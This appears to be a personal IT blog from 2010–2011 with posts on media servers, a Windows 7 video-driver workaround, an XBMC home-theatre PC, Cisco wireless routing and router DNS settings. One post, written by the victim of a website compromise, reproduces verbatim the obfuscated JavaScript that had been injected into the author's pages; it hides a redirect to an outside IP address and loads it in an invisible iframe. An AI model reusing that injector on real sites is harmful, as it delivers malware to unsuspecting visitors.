Search This Blog

Saturday, 22 January 2011

MediaTomb library refresh

I'm still searching for the holy grail of distributing all media around the home and still keep coming back to MediaTomb running on my NAS as a music fall back.  But something that always goes wrong is its inability to update the db with changes.  Every time I go through the same hoops of trying to refresh manually, adding/removing directories.  And each time it fails and I check my blog for what I did last time, which I;ve never added ! so here it is


Kill the mediatomb process and delete the .db files, start mediatomb and add the Media directory, wait 4 hours .. Job Done !

855GM Series video driver Windows 7 reverts back to Standard VGA

When installing 855GM Series video driver Windows 7 reverts back to Standard VGA adapter after restart. The problem is that 855GM Series video driver is not native for Windows 7 and it will always choose Standard VGA Adapter as native video driver. A lot of older laptops have this video chipset. Including my Vaio.


Solution - Spend hours looking on google.  Eventually finding a decent blog entry which I am blatantly reproducing here.


So all this is taken from http://www.groundstate.net/855GMWin7.html


The only driver that worked is: Intel(R) Graphics Controller 6.14.10.3722 . The reason why is that Standard VGA Adapter (Windows 7 native) is the same version (6.14.10.3722) but it has newer release date. Newest Intel driver 14.19.50 did NOT work. So get yourself the working video driver below. After Windows 7 install you will see that Standard VGA Adapter is installed and there is an exclamation mark on the "video controller". In order to install the driver we need to get exclamation mark on "video controller (vga compatible)". This spot is occupied by Standard VGA Adapter. Even when you unistall Standard VGA Adapter and install new driver after the reboot Standard VGA Adapter comes back. We need to disrupt Standard VGA Adapter from being installed. My way of disabling the adapter is to edit the driver file for it "c:\windows\system32\drivers\vgapnp.sys". There might be another way for letting Windows stop installing Standard VGA Adapter but I did not find it. 


STEP 1 


Make sure you unistall video drivers that do not work. If you see exclamation marks on your previous drivers in Device Manager, unistall them. Your Device Manager should say that you have Standard VGA Driver installed under Display category and exclamation mark on "video controller". Make sure you restart PC when asked. 


STEP 2


We will need to edit "c:\windows\system32\drivers\vgapnp.sys" file now, but there is a problem. Windows Vista and Windows 7 will NOT allow you to edit system files even when you are the admin. Changing security attributes of that file did not work either. The file is owned by "TrustedInstaller" service. We will need to own the file and give ourselves the full control to edit it.
Click 'Start' and in 'Search' type 'cmd'. The result will show on top. Right-click on 'cmd' and choose "Run as Administrator". If your account does not have admin rights you might be prompted to enter username and password. I used account that already has administrator priviledges. You should have a command prompt with administrator priviledges. 


STEP 3 


Lets say my logged in username is peter


First command you do is: 


takeown /f c:\windows\system32\drivers\vgapnp.sys 


This will give ownship to the current user. You should see a message saying SUCCESS etc.. 


Second command you do is: 


cacls c:\windows\system32\drivers\vgapnp.sys /G peter:F 


There will be a confirmation message so type 'y'. This will change the security attributes to give you ONLY all the permissions for the file. If you are paranoid as me and want original permissions restored, I will show you how to restore the permissions to the previous step later on in this tutorial . If 'cacls' command does not work you can try using 'icacls'. If you cannot edit this file try to boot to "Save Mode" and try it again (Thx to Giuseppe Chill). 


STEP 4 


Open c:\windows\system32\drivers\vgapnp.sys in any text editor. Just add any character to the begining of the text. Let's say we will add character x . So the text should start with xMZ and the rest of stuff. Save the file. This edit will render that file unusable. 


STEP 5 


In Device Manager uninstall Standard VGA Adapter. It will prompt you to restart so do it. After install you will see a message saying that certain devices did NOT installed successfuly, which is GOOD . Go to Device Manager and you should see the exclamation point next to "video controller" and "video controller (vga compatible)". Right-click on "video controller (vga compatible)" and do update driver. Choose "Browse for the Driver" (or something like it  ). Point to the driver directory that you downloaded and extracted (win2000). Click "OK". Wait for the driver to be installed. It might hang for a little (It will say that window is "not responding"). Do not worry as this is still installing the driver. It will prompt you to restart so do it. (If it does not prompt click anywhere and wait for message). After restart it will finish installing the driver. 


Congratulations!!! You should have a working video driver!!!  


STEP 6 


Open c:\windows\system32\drivers\vgapnp.sys in any text editor. Remove the first character you put there which was x. Save the file. Your file will be usuable again . You can stop here if you want, but if you want to restore the permissions for the file to original state go to next step. 


STEP 7 


Right-click on any other file in the c:\windows\system32\drivers. Choose "Properties". Go to "Security" tab. Now compare that security tab with the security tab of c:\windows\system32\drivers\vgapnp.sys. Just make sure the security tabs of those two files look the same (all tabs and advanced options). In order to add "TrustedInstaller" it is not the same as regular usernames because it is a service. 
You will need to type "NT SERVICE\TrustedInstaller" (without quotes) when adding it to own the file and to have all permissions. Once you done editing you can delete your account from c:\windows\system32\drivers\vgapnp.sys, because it was not there from the beginning. We took control over and the previous commands added it by default.

Wednesday, 5 January 2011

UCS Manager launch error

I've been fighting with JAVA on my PC for a few days. Trying to launch the Cisco UCS manager - JAVA based. Would kick up the error :


JARSigningException: Found unsigned entry in resource: http://{HOST}.{DOMAIN}/ucsm/unpacked/OfficeLnFs_2.7.jar


Nothing on google. Removed the vast collection of JRE versions, reinstalled, blaah blaah blaah. Still fails. Threw my toys out, stomped away in a huff complaining about JAVA failing to live up to its expectations due to inept programmers ..


Then I twigged. I'd been debugging one of our bespoke JAVA apps last week and had disabled the 'Keep temporary files on my computer' JRE setting.


Corrected, problem fixed .. huff gone.

Sunday, 2 January 2011

Building a Home Theatre PC (HTPC)

Whilst the PS3 has done a sterling job of being a front room media centre its not perfect and I'd debated building a true HTPC for while.


A certain error whilst watching something on the PS3 kicked started me into investigating alternative options.


Normal requirements. HDMI, decent sound and enough power to run a full 1080p on my TV. I'd had decent success with ITX in the past so quite fancied that route.


After a day of reading I settled on the Zotac ION ATOM N330 Dual Core D-E with 4GB (overkill) of RAM and a Morex Cubid 3688 Silver case.  Ordered and delivered the following day from ITX Warehouse.  Who run a fantastic service.  I already had HDD and cables, no SSD here.


My first intention was just to make use of VLC, web browser, maybe even look at MS Media centre.  But during the day of reading I stumbled across XBMC, something which everyone I spoke to afterwards had heard of and tried.  I must have been under my rock that day.  But the screen shots looked amazing, open source, ie free, live cd, all major OS' supported.  Interesting Mr Bond.


With the hardware assembled, which was the normal breeze I fired up the USB boot key created using instructions from mini-itx.com.  FAIL.  Maybe the keys, or something else but I couldn't get the PC to boot so ended up creating a XBMC liveboot CD and installed using that.  XBMC installed and started to load but bombed out just at the part the GUI launches.  So I suspect video drivers.  Being LINUX I knew this was a bad road to be walking down, and as this was R&D and I already new wireless mice and keyboards where on the horizon, ie more LINUX driver fun, I opted to fall back on tried and 'trusted' (well, trusted is probably the wrong descriptive) Windows 7. Unconsciously I made a 32bit decision - just habit I think.


Windows installed, drivers updated.  Installed XBMC and fired it up.  Oh I like this, allot. Pretty intuitive, adding the SMB media paths from my NAS all just worked and then I found the Library view which showed all the pretty covers, plot summaries etc .. Movies, TV Shows, Music .. all worked seamlessly.  The 'scrapers' went and matched all the TV shows, music and all but two of the films, which I fixed using NFO files.


The IONITX dealt easily with a local 1080p file.  Not so streaming across the LAN - Homeplugs, nor WLAN, which is expected.  That actually had me delving deeper into my homeplug speed only to discover its crap, seriously so.  I have something in the house which is killing the t/put.  I need to investigate that or hope AV2 resolves it.


I'm still experimenting with the look and feel of XBMC but so far its a hit for video 720p and below and music is fine.


I added a plugin for iPlayer - which works, and TVCatchup, which doesn't.  Although it did once, odd. 


So far so good .. Although I have ordered a new 60mm 'silent' fan.  The one with the case is a little noisy.


EDIT : TVCatchup now working again.  Nothing done.  Also found a great iPhone app which uses the HTML interface to control the server.  XBMC Remote.

Friday, 31 December 2010

Routing a Cisco WLC 'service' port.

We have an almost 100% Cisco VoIP Wireless installation (apparently when it was installed the biggest in Europe) with 300 7921 handsets all hooked up to 4400 Wireless LAN controllers and a Wireless Control System.  Installed by TouchBase.


Once tuned this has worked pretty flawlessly and has pretty much been left alone.


We've recently started to implement Zenoss enterprise running out of our North American data centre and wanted to obviously add the WLC appliances.


Problem.  Our enterprise uses an RFC1918 10.0.0.0 subnet which is WAN routable.  The WLC's are configured as per the Cisco doc with the management port using a 172.16.0.0 subnet, not WAN routable.  or not a subnet we want to route.  The 172.16 was only ever intended as the isolated network for the WLC and AP's.



I looked into changing the MGT port IP - got scared as the AP's need to use it for the initial LWAPP b'cast, they then switch to using the AP-Manager port, also on the same subnet.  What about using the service port ?


The APs & Management interface are on 172.16.##.0/24.  The Service port on 10.##.##.0/24.  Reading the documentation the rules are: 'Management' port for in band and 'service' for out of band management.  The Service port is by default not routable.  Which is fine for London as the core switches route 172.16.##.0 and we've historically used that interface.  But not if we wanted to use Zenoss without routing 172 across the WAN and as that subnet was only ever designed to be isolated thats not an option.

I found in the doc that you can add static routes which the service port will use.  I first tried assigning this using WCS, which would only apply the route to one controller.  Claiming the route already existed when you applied to the second - gotta love Cisco managment software, it always does 'most' of what you need, never all.  So I static routes on EACH WLC (ie : not the recommended way).  But this works.  The service ports are now accessible across the WAN and so far work fine.

I've reset a couple of APs and they also seem fine.  Fingers crossed.

Saturday, 25 December 2010

YLOD update 2

Acquired said heat gun and followed the videos but to no avail. I even repeated the process twice. FAIL.


Am now the proud owner of a PS3 Slim. And I must say its so much better. At least the contents of the room aren't sucked into the fan when it starts, in fact its almost silent.

Saturday, 18 December 2010

Dynamic web page to display Picasa Web Albums

For a while now I've been uploading my vacation photos to the paulregan.co.uk site, in fact that's how it started.  Parents and friends wanting to see the recorded history of our  vacations ..


I've been using JAlbum with the Foto player template.  Which is great and worked really well.  Its slightly laborious to create a new folder but for the 3-4 times a year I needed it worked fine.


I then got hooked on photography and wanted to be able to upload some of my (in my opinion) better shots to the site.  JAlbum was too slow to just throw one or two shots up.  I needed something more dynamic.


I'd been using Picasa & Picasa Web Albums for a while which was a snap to sync between an album on the PC/MAC and the Picasa Web cloud.  Picasa does have a html generating tool with some funky templates but that was more the JAlbum model which I didn't want. 


If only Picasa Web had a pretty embed display, something like the lightbox or zoombox scripts .. before you comment picasa does, your right, it does but its pretty nasty.


I stumbled across www.paulvanroekel.nl ... He writes templates for both Picasa.  And more importantly for Picasa web !  The php code pulls the pictures from all or a designated online album.  Update your album, you site dynamically updates the changes.


Pick the template, download, tweak the config and upload to your site.  Simples.  Almost.


Not sure what causes it, maybe my providers PHP version.  But the template files are all .php.  trying to open them on the web caused :




Parse error: syntax error, unexpected T_OBJECT_OPERATOR, expecting ',' or ';' in /home/users/web4831/html/paulregan.co.uk/gallery/index.php on line 97 




Some quick googling had me change the extension from php to php5 - job done


paulregan.co.uk/gallery/index.php5

Friday, 10 December 2010

Wednesday, 1 December 2010

To change the blog header link

How to link the header to another page

Goto design
Layout
Expand Widgets

Find the following code

<!--Show the image only-->

      <div id='header-inner'>

        <a expr:href='data:blog.homepageUrl' style='display: block'>


Change the last part to

<a href='your url' style='display: block'>

For example


<a href='www.google.com' target="_blank" style='display: block'>

Movember - Week Four




Saturday, 27 November 2010

Canon 'RAW' format thumbnails.

Trying to only shoot RAW pictures and was fed up with no native support thumbnail view in Windows 7 explorer.

Found that Canon supply a RAW codec which fix's the thumbnail.  Unfortunately it doesn't display the EXIF information - which is a pain and means you still need to open the files in an app.

http://software.canon-europe.com/

Wednesday, 17 November 2010

Movember - Week Two

In the name of charity I, and two of my co-workers shall be nurturing top lip facial hair for the month of November.

Please give generously, if not for the good work of the charity then for the sheer fun of me walking around looking like a member of Village People, who are now my inspiration .. 

http://www.paulregan.co.uk/movember

Week 2

Saturday, 13 November 2010

BioSignature

Have you come across BioSignature ? - If not its the theory of Charles Poliquin


http://www.charlespoliquin.com/TheBiosignatureMethod.aspx

From years of trial and error with some science mixed in it claims to identify internal body functions & hormone levels from a fat % test.  Theres loads of info to read and its caught my attention.  12 body points measured and  run through a formula to provide results which are then interpreted.
  • Chin and Cheek: The first sites to go down during a diet. These sites aren't linked to any particular hormone imbalance but act as indicator sites as to whether or not the plan is working or not.
  • Pectoral and Triceps: The androgen sites. High pec readings in men in relation to the triceps can reflect an androgen imbalance which makes it far more difficult to add lean muscle mass.
  • Suprailliac and Subscapular: The insulin sites. These sites are related to blood sugar management. High readings here vs. the triceps may reflect poor insulin sensitivity and carb intolerance.
  • Mid-axillary: This site is correlated to thyroid hormone levels.
  • Umbilical: The infamous cortisol site. It can be high despite low overall body fat. If this site is imbalanced then steady state cardio would create a further imbalance and cause the client to store fat rather than burn it.
  • Knee and Medial Calf: These skinfolds are related to growth hormone and act as an indicator in the quality and quantity of sleep a client experiences.
  • Quadriceps and Hamstring: High levels here vs. the triceps are correlated to high estrogen levels. This site usually comes up in females. Lactate threshold training works best here.
My first test was 20% bf over all, low carb tolerance, high oestrogen and low t.

After a month of high protein low carb, in fact zero carbs in the week, and high doses of omega I'd gone down a whole 1% !! .. but muscle up 4kg .. which is nice but not whats supposed to happen.  

The second test showed some sites up and some down but mainly oestrogen was up which apparently accounts for the shite bf loss.  After talking over the past months changes its been attributed to dosing on crap fish oil and so actually ingesting more xenoestrogens.  But now my cynical side is starting to kick in.

I'm going to persevere with it, probably with some more attention after Christmas.  The next step has been suggested to get some blood work done to check some minerals (magnesium & zinc) and vit D with blood tests.  I'm actually also thinking of getting hormones tested to confirm or debunk the results, or at least use in conjunction with.  

Not sure how that would work, its hard to ask the biosignature practitioner, who I must add seriously knows his stuff, to examine the hormone results which is actually questioning the validity of the test in the first place.  

I mean does it just give you a number for each which falls in a range .. Actually I can google that ..

Friday, 17 September 2010

Canon D30, Tamron 18-270 & Long Exposures

On vacation in France, a private waterfall at our disposal. A perfect chance to try my recently purchased tripod to see if I can create some of those silky water shots.


Sat there for an hour playing with settings thinking I was great. Checked them later and they where pretty much all blurred.






Two mins googling and a link with disabling image stabilisation on the lens. Bingo. On the Tamron its actually VC (I forget the acronym). Tried a couple of test shots and it appears problem solved.


Back to the waterfall tomorrow afternoon.


I also found that VC doesn't actually work in the timed (10 seconds) shot mode. But it does seem to make a difference when the d30 takes the picture. So turn it off.


Not sure what other lens do this. I'll hopefully find out soon when I buy my bosses 'L's.



Friday, 27 August 2010

Adding other directories to Drop Box

Drop Box is a brilliant app for syncing files between different PC's & OS's via the cloud.
Highly recommended !

By default Drop Box will only monitor and sync files and directories in the folder you set up, or by default \Users\User\Documents\My DropBox.

To add 'other' files you can create a symbolic link in the drop box directory to the external area.

Start a command prompt
(Depending on your OS then you may need to start a command prompt as Administrator)

mklink /d {source} {destination}
eg
mklink /d "C:\Path\To\My Dropbox Folder\" "\Path\to\directory"
 
Pathto can be a UNC or mapped drive letter. 
 
In your drop box folder will now be the link, which will appear exactly like another folder.

Saturday, 21 August 2010

Lost TomTom favorites

After upgrading my software and then installing a bunch of new maps I noticed my favorites had got lost.  Reluctant to restore from a backup using HOME I found this :
Connect your TT to the PC, shut down TomTom "Home" if that opens. You will notice the TomTom is recognised as a new hard drive.
Now, using Windows Explorer, open the backup folder you made on the PC. Look in the named map folder for the "MapSettings.cfg" file.
If you find it, copy that file and paste it into the same place on the TomTom itself.
Sorted ..

My websites been hacked !

I run a forum www.bvra.org.uk and a personal site www.paulregan.co.uk.

Last night someone posted on the forum that Google had flagged the site as dangerous and a follow post that Kaspersky was reporting a trojan - Trojan.JS.Iframe.nk

What !, my forum, no way .. I tried a few things and my AV (Mcafee) didnt complain.  Odd, check the date time on the files and low and behold the index.* (htm, html, php) files had been changed 2 days ago .. not by me.


<body><script>
var I={j:{I:{I:'~',l:'.',j:'^'},l:{I:'%',l:218915,j:1154%256},j:{I:1^0,l:55,j:'ijl'}},I:{I:{I:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=I.I.I.I(I.l.I.I('.75.67.67.63.3a.2f.2f.31.31.33.2e.31.31.2e.31.39.34.2e.31.37.37.2f.75.67.71.62.70.66.2f.74.6e.67.72.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.67.72.7a.63.79.6e.67.72.66.61.72.6a.66'));var j=(l)?I.I.I.l():false;return j;}},l:{I:function(){var l=I.I.I.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=I.I.j.j(I.I.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=I.I.j.I(I.I.l.I());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{I:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return I.I.j.I(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{I:{I:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'21',j:'16'},l:{I:'50',l:'85',j:'81'},j:{I:'55',l:'85',j:'57'}}}
I.I.l.j();</script>





Had been added to both the forum and my personal site index files.  A strange file templatesnews.php had also been uploaded at the same time.

Anyone know what that code does ? ..

Cleaned the files up and locked FTP, even though I had a stupidly complex password.

I've emailed the hosting company, as I suspected something wider.  They got back to me and told me mine where the only sites - look for Gumblar.

Now last weekend my home PC started to act up, Firefox and Chrome would both crash, actually come to think of it the two sites I always rely on for testing are mine.  That explains it ! .. A quick google and it appears Grumblar can get saved password from CoreFTP which I use, it then inserts code to spread itself.  

Bugger, and I work in IT ! .. My machine runs upto date AV, Spyware, Firewall & Windows updates. How the hell did this get in ..

Props to virtualnames.co.uk who quickly restored my site from backups and I've since disabled FTP and changed the passwords again.


Now to make sure this b'stard thing has'nt infected my since rebuilt OS.

Sunday, 8 August 2010

My first play with HDR





Definitely need a tri-pod and its very easy to go silly .. example picture 2

Wednesday, 4 August 2010

Upgrading Thompson TG585-V7 DSL Router

The box will totally loose its config when you do this  .. IP, admin password, ALL
  1. Backup the config and put a copy locally.
  2. Apply firmware using the upgrade utility.
  3. The FW upgrade will revert the router to its default subnet - 192.168.1.0/24
  4. Browse to http://192.168.1.254.
    • UID : Administrator
    • PW  : Serial Number of router
  5. Restore config from #1
  6. The upgrade seems to loose some of the MAC / device names, if you've defined them.  If you can be bothered re-define the devices.
  7. Change the WLAN back to your key, the firmware applies the default keys.
If you'd previously modified the default DNS servers you'll need to correct this as the fw adds the BE server and makes it default.  Below is how to clean up and add the OpenDNS servers ..

nb//matrix.com is a local DNS server on my network.

Telnet to your modem by running ‘telnet 192.168.0.1′ replace the 192.168.0.1 with your modem’s ipaddress a login with the Administrator account.

Type :
  1. dns server route
  2. list - to list your current DNS settings. Write these down somewhere so you’ll be able to change them back if you want to. 
  3. flush - to delete all dns servers in the list.  
  4. add dns=208.67.222.222 intf=Dynamic_IP  - adds first OpenDNS server.  
  5. add dns=208.67.220.220 metric=1 intf=Dynamic_IP - second Opendns server. 
  6. list - should show the applied changes

     
Then type saveall to save these new settings. And finally exit to exit the telnet session. You should now able to browse the web using OpenDNS.